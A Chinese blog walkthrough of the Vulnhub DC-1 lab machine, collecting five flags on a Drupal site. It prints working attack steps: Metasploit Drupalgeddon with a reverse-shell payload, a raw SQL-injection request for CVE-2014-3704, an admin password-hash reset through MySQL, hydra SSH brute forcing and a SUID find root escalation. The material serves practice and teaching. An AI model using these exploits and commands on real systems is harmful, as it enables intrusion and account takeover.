Vuln靶机系列:03DC-1-drupalCMS-简单渗透综合利用

前言

这是第三台靶机了,感觉这次的更有意思。该靶机存在有5个flag,跟省赛更贴近了,这次就跟着flag的顺序做出来吧。其实可以一步到位提权getFlag。

准备

知识点

  1. Drupal CMS远程代码执行漏洞(CVE-2018-7600)
  2. Drupal CMS Sql注入漏洞getshell(CVE-2014-3704)
  3. 查看网站配置文件获取数据库登陆账密
  4. 更改数据库hash值重置admin用户密码
  5. hydra爆破flag4用户的密码
  6. find suid提权

参考文章

csdn:VULNHUB靶机渗透–DC-1(drupal)

知乎:入门靶机:DC-1的渗透测试

drupal7官网:drupal7 密码重置

Reebuf:简谈SUID提权

csdn:DC-1 登录框的sql注入(不是本文重点,试了很多次只成功了一次)

工具

后面得养成习惯,将工具和靶机地址写到博客网站来(防忘记)

kali基本上都有

Vulnhub靶机下载

官网地址:https://www.vulnhub.com/entry/dc-1,292/

开始

信息收集

探测内网靶机ip地址

arp-scan -l
netdiscover -r 192.168.30.0/24

获得靶机IP:192.168.30.130

探测靶机开放端口

nmap -sS -T4 -v -O 192.168.30.130  

file

80端口有开放,访问一下

file

长时间折腾中(密码爆破,sql注入,把功能点都试了一遍)…

kali识别网站cms

 whatweb -v 192.168.30.130

file

浏览器插件Wappalyzer识别网站CMS

file

又是一轮长时间的折腾…

浏览器搜索这个CMS版本的漏洞,可别不搜,一搜,妈耶,这个CMS真是漏洞百出

一直在折腾哪个漏洞能用得上,来来去去,就只有两个能用得上。其他的要么就是用不上,要么就是要管理员密码远程RCE。而管理员密码我又爆破不出来,这个网站还有防御措施,我也是服了。搞了几下把我ip封了,又得快照(还好做了快照)

能用上的就下面两:

  1. Drupal CMS远程代码执行漏洞(CVE-2018-7600)
  2. Drupal CMS Sql注入漏洞getshell(CVE-2014-3704)(不知道是不是我的sqlmap原因,一直测不出来,弄了好几回偶然成功了一次之后就没有成功过了。)

MSF-Drupal CMS远程代码执行漏洞

直接上msf

msfdb run
search Drupal

以下这两个,都是可以通过该靶机的漏洞,主要以RCE为主,后面补上SQL注入

file

一步到位,设置好payload和靶机ip,getshell

use 1
set php/meterpreter/reverse_tcp
set rhosts 192.168.30.130
exploit

file

进入shell,然后使用python提供交互shell

shell
python -c 'import pty; pty.spawn("/bin/bash")'

查看目录,有一个很显眼的flag1.txt,查看来看看

ls
cat flag1.txt

file

cat flag1.txt
Every good CMS needs a config file - and so do you.
翻译:每一个好的CMS都需要一个配置文件,你也是。

意思是要我们寻找该CMS的配置文件

搜索引擎搜该CMS重要的配置文件… 怎么没人放配置文件路径(找了很久…)

file

ls sites/default
default.settings.php  files  settings.php

根据提示应该是settings.php文件,查看

cat sites/default/settings.php

获取数据库账密

flag2出现了

file

有一个数据库的连接配置,应该是要连接该数据库的。想到web站点有个登陆界面,直接冲,寻找admin用户的密码。

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

第一次,还因为输错密码登不上去,还以为是权限问题,这里又折腾了很久…

连接数据库…

mysql -udbuser -pR0ck3t
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| drupaldb           |
+--------------------+

use drupaldb;
show tables;#直接锁定users表
+-----------------------------+
| Tables_in_drupaldb          |
+-----------------------------+
| actions                     |
| authmap                     |
| batch                       |
| block                       |
| block_custom                |
| block_node_type             |
| block_role                  |
| blocked_ips  				  |
|....						  |
| users                       |
| users_roles                 |
| variable                    |
| views_display               |
| views_view                  |
| watchdog                    |
+-----------------------------+

看样子,使用了某种加密算法

补充:drupal常用的密码加密方式是MD5格式,但是自从 7.0之后,因为安全性的问题将加密方式改成了hash加密,这里使用的应该是自定义的加密方式。

select * from users \G;
****************** 2. row ******************
             uid: 1
            name: admin
            pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
            mail: admin@example.com
           theme: 
       signature: 
signature_format: NULL
         created: 1550581826
          access: 1550583852
           login: 1550582362
          status: 1
        timezone: Australia/Melbourne
        language: 
         picture: 0
            init: admin@example.com
            data: b:0;

重置mysql中的admin用户密码

网上搜索drupal7 密码重置:https://drupalchina.cn/node/1964

网站目录下的scripts目录中有一个自定义加密的php文件

先暂时推出mysql,重置admin管理员密码

php ./scripts/password-hash.sh 123456
hash: $S$DrlQBqDTMqPeUjwcC9Dwm7cRJ0ZUveSpKuGEMo7mfx9h6c/yHBgp

将以上hash值替换掉admin的密码部分,更新users表

update users set pass='$S$DrlQBqDTMqPeUjwcC9Dwm7cRJ0ZUveSpKuGEMo7mfx9h6c/yHBgp' where uid=1;

更改以后,登陆网站

file

登陆后,一段哗啦操作,找到了一个flag3

file

翻译:特殊的PERMS将有助于查找密码,但您需要执行该命令才能找到shadow中的内容。

虽然,这个网站后台没什么搞头(因为已经getshell不需要对后台有什么操作)

根据flag3提示,应该是要查看一下/etc/passwd文件

cat /etc/passwd
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

存在一个flag4的用户,其实可以爆破的(后续操作会展示hydra爆破)

查看一下/home/flag4的文件(一开始我以为www-data用户访问不了,谁知道这个目录下对其他人可访问,有时候细节真的能决定成败)

ls /home/flag4
flag4.txt
#查看改flag4文件
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?
翻译:你能用同样的方法在根目录中查找或访问标志吗?
可能但也许这并没有那么容易。或者可能是这样?

已经很明显了,要求我们访问root下的flag文件,只是我兜了个大圈绕过来这里,getshell以后直接可以提权访问了,但是如果要收集flag的话,还是得按照这个操作来,不然没分了怎么办?

权限提升-访问最终flag

查看可以提权的命令

find / -perm -u=s -type f 2>/dev/null

file

发现find命令可以提权,这个可以参考一篇文章,suid提权:https://www.freebuf.com/articles/web/272617.html

find / -exec "/bin/bash" -p \;

成功提权

bash-4.2# whoami
whoami
root

查看最终flag文件

cat /root/thefinalflag.txt

file

额外小知识-hydra爆破flag4用户密码

现在在参加23年香山网盾比赛…

查看kali自带的字典文件wordlists

wordlists

一个大字典rockyou.txt,一个小字典john.lst,实际情况可能需要自己准备特定的字典进行爆破,这里只是演示过程

开始爆破

hydra -l flag4 -P /usr/share/wordlists/john.lst 192.168.30.130 ssh -f

file

成功爆破出用户flag4,密码为:orange

使用ssh远程登陆

ssh flag4@192.168.30.130

file

额外小知识-Sql注入漏洞getshell(CVE-2014-3704)

2023年香山网盾已经结束,得分:100分,排名25/56,来之不易的成绩。首次参加攻防演练就是红队,能取得成绩已经跨出很大的一步,以后多参加此类型的项目。另外移动大楼的伙食是真的非常好。

这个sql注入,我不是很理解,手工测试的时候都是可以成功的,使用sqlmap跑就跑不出来,返回的是502的报错回显,难道是因为502的原因?

手工测试,name[*]字段的数组下标存在有sql注入,这个注入点第一次见,还是2014的洞。。
poc

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

使用bp发包查看结果,标红处已显示当前连接用户名,报错注入成功

file

打脸了…

这一次使用sqlmap居然跑出来了,之前咋整都硬是弄不出来…

sqlmap -r sql.txt --batch --dbs

file

使用msf搜索drupal,选中第三个

msf6 > search drupal
msf6 > use 2

file

设置远程目标地址

set rhosts 192.168.30.130
exploit 

反弹shell成功,后面获取flag的步骤跟前面一致

file

总结

没有总结…

时间太久,不记得当时想法,后面有再补充

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值